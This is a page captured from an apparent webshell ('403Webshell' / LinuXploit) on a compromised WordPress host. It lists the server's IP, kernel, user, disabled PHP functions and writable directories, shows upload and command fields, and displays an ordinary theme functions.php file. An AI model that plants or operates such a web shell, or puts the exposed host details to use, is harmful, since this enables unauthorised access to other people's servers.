403Webshell
Server IP : 27.254.66.5  /  Your IP : 216.73.217.39
Web Server : Apache/2
System : Linux cs82.hostneverdie.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
User : technic2 ( 1951)
PHP Version : 7.4.30
Disable Function : apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd,exec, fp, fput, highlight_file, ini_alter, ini_restore, inject_code, passthru,phpAds_remoteInfo, phpAds_XmlRpc,phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid,posix_setuid, posix_setuid, posix_uname,proc_open,proc_close, proc_get_status, proc_nice, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode, show_source,sleep,pcntl_exec,virtual,suexec,dbmopen,dl,symlink,disk_free_space,diskfreespace,leak
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/technic2/public_html/old-website/wp-content/themes/mh-campusmag/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/technic2/public_html/old-website/wp-content/themes/mh-campusmag/functions.php
<?php

/***** Fetch Theme Data *****/

$mh_magazine_lite_data = wp_get_theme('mh-magazine-lite');
$mh_magazine_lite_version = $mh_magazine_lite_data['Version'];
$mh_campusmag_data = wp_get_theme('mh-campusmag');
$mh_campusmag_version = $mh_campusmag_data['Version'];

/***** Load Google Fonts *****/

function mh_campusmag_fonts() {
	wp_dequeue_style('mh-google-fonts');
	wp_enqueue_style('mh-campusmag-fonts', 'https://fonts.googleapis.com/css?family=Noto+Sans:400,400i,700,700i%7cLusitana:400,700', array(), null);
}
add_action('wp_enqueue_scripts', 'mh_campusmag_fonts', 11);

/***** Load Stylesheets *****/

function mh_campusmag_styles() {
	global $mh_magazine_lite_version, $mh_campusmag_version;
    wp_enqueue_style('mh-magazine-lite', get_template_directory_uri() . '/style.css', array(), $mh_magazine_lite_version);
    wp_enqueue_style('mh-campusmag', get_stylesheet_uri(), array('mh-magazine-lite'), $mh_campusmag_version);
    if (is_rtl()) {
		wp_enqueue_style('mh-magazine-lite-rtl', get_template_directory_uri() . '/rtl.css', array(), $mh_magazine_lite_version);
	}
}
add_action('wp_enqueue_scripts', 'mh_campusmag_styles');

/***** Load Translations *****/

function mh_campusmag_theme_setup(){
	load_child_theme_textdomain('mh-campusmag', get_stylesheet_directory() . '/languages');
}
add_action('after_setup_theme', 'mh_campusmag_theme_setup');

/***** Change Defaults for Custom Colors *****/

function mh_campusmag_custom_colors() {
	remove_theme_support('custom-header');
	remove_theme_support('custom-background');
	add_theme_support('custom-header', array('default-image' => '', 'default-text-color' => 'ffffff', 'width' => 1080, 'height' => 250, 'flex-width' => true, 'flex-height' => true));
	add_theme_support('custom-background', array('default-color' => 'f7f7f7'));
}
add_action('after_setup_theme', 'mh_campusmag_custom_colors');

/***** Display Posts on Archives as Grid - Override Pluggable Function from Parent Theme *****/

if (!function_exists('mh_magazine_lite_loop_layout')) {
	function mh_magazine_lite_loop_layout() {
		global $wp_query;
		$counter = 1;
		$max_posts = $wp_query->post_count;
		while (have_posts()) : the_post();
			if ($counter === 1) {
				echo '<div class="mh-row mh-posts-grid mh-clearfix">' . "\n";
			}
			if ($counter >= 1) {
				echo '<div class="mh-col-1-2 mh-posts-grid-col mh-clearfix">' . "\n";
					get_template_part('content', 'grid');
				echo '</div>' . "\n";
			}
			if ($counter % 2 === 0 && $counter != $max_posts) {
				echo '</div>' . "\n";
				echo '<div class="mh-row mh-posts-grid mh-posts-grid-more mh-clearfix">' . "\n";
			}
			if ($counter >= 1 && $counter === $max_posts) {
				echo '</div>' . "\n";
			}
			$counter++;
		endwhile;
	}
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit